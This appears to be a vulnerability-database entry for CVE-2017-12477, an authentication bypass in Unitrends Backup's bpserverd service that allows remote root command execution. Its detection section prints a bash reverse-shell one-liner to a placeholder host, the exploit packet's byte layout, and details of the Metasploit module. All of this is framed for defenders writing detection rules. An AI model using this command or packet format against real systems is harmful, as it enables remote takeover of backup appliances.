cbcvebase.
CVE-2017-12477
published 2017-08-07

CVE-2017-12477: It was discovered that the bpserverd proprietary protocol in Unitrends Backup (UB) before 10.0.0, as invoked through xinetd, has an issue in which its…

PriorityP183critical9.8CVSS 3.1
AVNACLPRNUINSUCHIHAH
EXPLOIT
EPSS
68.22%
99.2th percentile
It was discovered that the bpserverd proprietary protocol in Unitrends Backup (UB) before 10.0.0, as invoked through xinetd, has an issue in which its authentication can be bypassed. A remote attacker could use this issue to execute arbitrary commands with root privilege on the target system.

Affected

1 ranges
VendorProductVersion rangeFixed in
kaseyaunitrends_backup< 10.010.0

Detection & IOCsextracted from sources · hover to see the quote

port1743
commandbash -i >& /dev/tcp/{LHOST}/{LPORT} 0>&1 &
bytes
\xa5\x52\x00\x2d\x00\x00\x00[packet_len]\x00\x00\x00\x01\x00\x00\x00\x4c\x00\x00\x00[cmd_len][cmd]\x00\x00\x00
  • Monitor for inbound TCP connections to port 1743 (xinetd bpserverd listener); this port is the initial attack entry point for CVE-2017-12477 exploitation.
  • Detect exploit packets beginning with the magic bytes \xa5\x52\x00\x2d on TCP port 1743; this is the fixed header of the malicious bpserverd command injection packet.
  • Alert on a two-stage TCP connection pattern: a client connects to port 1743, parses a dynamic port from the server banner (last 8–3 bytes), then immediately opens a second connection to that dynamic port — characteristic of bpserverd exploitation.
  • Look for processes spawned as root by xinetd/bpserverd that execute shell commands (e.g., bash reverse shells or arbitrary OS commands), indicating successful authentication bypass.
  • The Metasploit module targets linux/x86 with a default payload of linux/x86/meterpreter/reverse_tcp and uses printf-based CmdStager with linemax 200; hunt for short printf-staged payloads written to /tmp on Unitrends appliances.
  • Unitrends appliances running UEB version 9.1.0-2.201611302120.CentOS6 are confirmed vulnerable; inventory and prioritize patching of these specific build strings.
  • ·The dynamic bpd port is not fixed — it is returned in the xinetd banner and varies per session. Detection rules on port 1743 must also account for follow-on connections to this ephemeral port.
  • ·The exploit requires the second (bpd) connection to be established even if command output is not needed; blocking only port 1743 is insufficient — the dynamic bpd port must also be firewalled.
  • ·Commands longer than 240 bytes may not execute reliably via this exploit; staged payloads using short commands (linemax 200) are used to work around this limit.

CVSS provenance

nvdv3.19.8CRITICALCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
nvdv2.010.0CRITICALAV:N/AC:L/Au:N/C:C/I:C/A:C
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